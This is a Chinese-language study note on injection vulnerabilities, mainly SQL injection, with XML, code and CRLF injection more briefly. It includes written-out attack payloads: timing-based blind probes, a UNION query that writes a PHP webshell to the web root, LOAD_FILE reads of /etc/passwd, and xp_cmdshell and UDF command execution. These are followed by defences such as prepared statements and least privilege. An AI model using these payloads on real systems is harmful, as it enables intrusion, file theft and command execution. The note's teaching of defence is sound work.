數據與代碼未分離
用戶能控制數據的輸入,代碼與數據拼接
SQL 注入
1. 試探 SQL 注入漏洞是否存在——簡單盲注
常規 URL:http://www.example.com/test.php?id=2
試探 URL 1:http://www.example.com/test.php?id=2 AND 1=1
試探 URL 2:http://www.example.com/test.php?id=2 AND 2=1
如果 URL 1 返回結果,而 URL 2 查詢結果為空,說明存在 SQL 注入
2. Timing Attack——高級盲注
MySQL:BENCHMARK(count, function),SLEEP(5)
PostgreSQL:PG_SLEEP(5),GENERATE_SERIES(1, count)
MS SQL Server:WAITFOR DELAY '0:0:5'
以上函數可以讓數據庫在執行某條指令的時候延遲一定長度的時間,通過時間長短的變化,可以判斷注入語句是否執行成功。
用法舉例:1170 UNION SELECT IF(SUBSTRING(current, 1, 1)=CHAR(119), BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds')), null) FROM (SELECT database() as current) as tb1;
3. 數據庫的一些函數可以獲取到有用信息
database() —— 當前連接的數據庫的名稱
system_user() —— 數據庫的系統用戶
current_user() —— 當前用戶(當前已登錄數據庫,並執行該函數的用戶)
last_insert_id() —— 數據庫的最近一次插入操作對應的 ID
SELECT ... INTO OUTFILE 'file_path_name' —— 如果當前數據庫用戶具有寫權限,則攻擊者可以將信息寫入數據庫所在主機的磁盤
1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>" ,2,3,4 INTO OUTFILE "/var/www/html/temp/c.php"-- —— 寫入一個 webshell
4. 數據庫攻擊技巧
(1)判斷 MySQL 數據庫的版本:SUBSTRING(@@version,1,1)=4
(2)判斷數據表是否存在,數據項是否存在:UNION ALL SELECT 1,2,3 FROM 數據表;UNION ALL SELECT 1,2,3,passwd FROM 數據表。
。。。。。。
(3)自動化工具:sqlmap.py
(4)LOAD_FILE 讀取文件,INTO DUMPFILE 寫入文件,LOAD DATA INFILE 將文件中的數據寫入數據表:
① ... UNION SELECT 1,1,LOAD_FILE('/etc/passwd'),1,1;
② CREATE TABLE potatoes(line BLOB);
③ UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
④ LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
【安全建議:最小權限,禁止創建表、禁止數據庫用戶操作文件的權限】
(5)命令執行(UDF:User Defined Function)
MySQL 5:
sys_eval,執行任意命令,並將輸出返回
sys_exec,執行任意命令,並將退出碼返回
sys_get,獲取一個環境變量
sys_set,創建或修改一個環境變量
MS SQL Server:
xp_cmdshell,執行系統命令。在 SQL Server 2000中默認開啟,如果未開啟,可以使用 sp_addextendedproc 開啟。2005/2008版本中需要 sysadmin 權限使用 sp_configure 開啟該功能。
xp_regread,xp_regadmultistring,xp_regdeletekey,xp_regdeletevalue,xp_regenumkeys,xp_regenumvalues,xp_regremovemultistring,xp_regwrite:操作注冊表
xp_servicecontrol,允許用戶啟動、停止服務
xp_availablemedia,允許獲得一個目錄樹
xp_enumdsn,列舉服務器上的 ODBC 數據源
xp_loginconfig,獲取服務器安全信息
xp_makecab,允許用戶在服務器上創建一個壓縮文件
xp_ntsec_enumdomains,列舉服務器可以進入的域
xp_terminate_process,提供進程的 ID,終止該進程
Oracle:
如果服務器有 Java 環境,在 Oracle 中可以創建 Java 的存儲過程執行系統命令
5. 編碼問題
字符在編碼、轉義后可能引發錯誤編碼。解決方法:統一字符編碼,如果無法統一,則需要單獨實現一個用於過濾或轉義的安全函數,在其中考慮字符的肯尼該范圍。根據系統所使用的不同字符集來限制用戶輸入數據的字符允許范圍,實現安全過濾。
6. SQL Column Truncation
MySQL 的配置選項中,sl_mode 設置為 default 時,沒有開啟 STRICT_ALL_TABLES,該配置下 MySQL 對於用戶插入的超長值只會提示 warning,而不是 error。這可能引發 SQL Column Truncation 漏洞攻擊。
例如,假設有 users 數據表,其中包含 username(varchar(10))、passhash(varchar(20))、權限列表等字段,且該表中已包含一條記錄 (admin, adminpasswd) 。
某應用使用如下語句來驗證登錄:SELECT username FROM users WHERE username = ? AND passhash = ?
使用如下語句來授權訪問:SELECT * FROM users WHERE username= ?
如果新建用戶 'admin(50個空格)x',密碼為 'abc',即插入一條記錄:INSERT INTO users(username, passhash) VALUES('admin(50個空格)x', 'abc'),則由於 MySQL 自動截斷機制起作用,該操作將成功插入('admin', 'abc'),並且提示 warning。攻擊者可以用 ('admin', 'abc') 作憑證登錄,然后使用 admin 具有的所有權限和功能。
7. 防御 SQL 注入
找到並修補 SQL 注入漏洞。
(1)必要不充分措施:對用戶輸入做 escape 處理(mysql_real_escape_string($_GET['parameter'])),mysql_real_escape_string() 只轉義了 '、''、\r、\n、NULL、Control-Z 等字符,遠遠不夠。這種基於黑名單的方法防御性能很薄弱,建議使用基於白名單的方法,即指定合法輸入的字符格式或數據類型。
例如:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
// 或者
$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset);
?>
(2)使用預編譯語句:【最佳】使用預編譯的 SQL 語句,其語義不會發生改變。在 SQL 語句中,變量用 ? 表示,攻擊者無法改變 SQL 的結構。
Java 舉例:
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
PHP 舉例:
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?, ?, ?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2, $val3);
$val1 = "Stuttgart";
$val2 = "DEU";
$val3 = "Baden-Wuerttembery";
$stmt->execute();
其他語言:
Java EE —— use PreparedStatement() with bind variables
.NET —— use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP —— use PDO with strongly typed parameterized queries using bindParam()
Hibernate —— use createQuery() with bind variables
SQLite —— use sqlite3_prepare() to create a statment object
(3)使用存儲過程,需要注意的是對傳入存儲過程的參數做好校驗。
(4)使用安全的編碼函數:比如 ESAPI.encoder().encodeForSQL(<Codec>, <queryParam>)
總之,安全地使用數據庫應遵循最小權限原則,避免 Web 應用直接使用 root、dbowner 等高權限賬戶直接連接數據庫。如果有多個不同的應用在使用同一個數據庫,則應該為每個應用分配不同的賬戶。Web 應用使用的數據庫賬戶不應該有創建自定義函數、操作本地文件的權限。
其他注入
XML 注入
類比 HTML(同屬於標准通用標記語言 SGML),在生成 XML 文件內容的時候如果拼接了用戶可控的輸入數據,並且未對該數據做檢驗過濾,那么該 XML 腳本存在注入漏洞。
防御方法:對拼接引入的內容做格式化處理,對用戶輸入的數據中包含的 “語言的保留字符” 做轉義。
代碼注入
代碼注入或命令注入都是因為不妥當地使用一些不安全函數或方法引起的,比如 PHP 中的 eval()函數、system()函數、動態 include 方法,Java 中的 engine.eval(),JSP 的動態 include 方法,C 語言中的 system()函數等。
防御方法:禁用或謹慎使用 eval()、system()等可以執行命令的函數,在 PHP、JSP 中避免動態 include 遠程文件。
CRLF(Carriage Return Line Feed,\r\n,回車換行)注入
CRLF 注入存在的原因是 “\r\n” 被用作不同語義之間的分隔符,當在特定的位置插入“\r\n” 的時候將引起語義的改變。
典型例子:Http Response Splitting。在 HTTP 協議中,HTTP 頭是通過 “\r\n” 來分隔的。如果服務器端沒有對用戶輸入的數據中可能包含的 “\r\n” 做過濾,而直接存放在 HTTP 頭中,這可能改變 HTTP 頭的結構,進而導致攻擊者發起一次成功的訪問,甚至在中間注入惡意內容。注:兩次 “\r\n” 意味着 HTTP 頭的結束。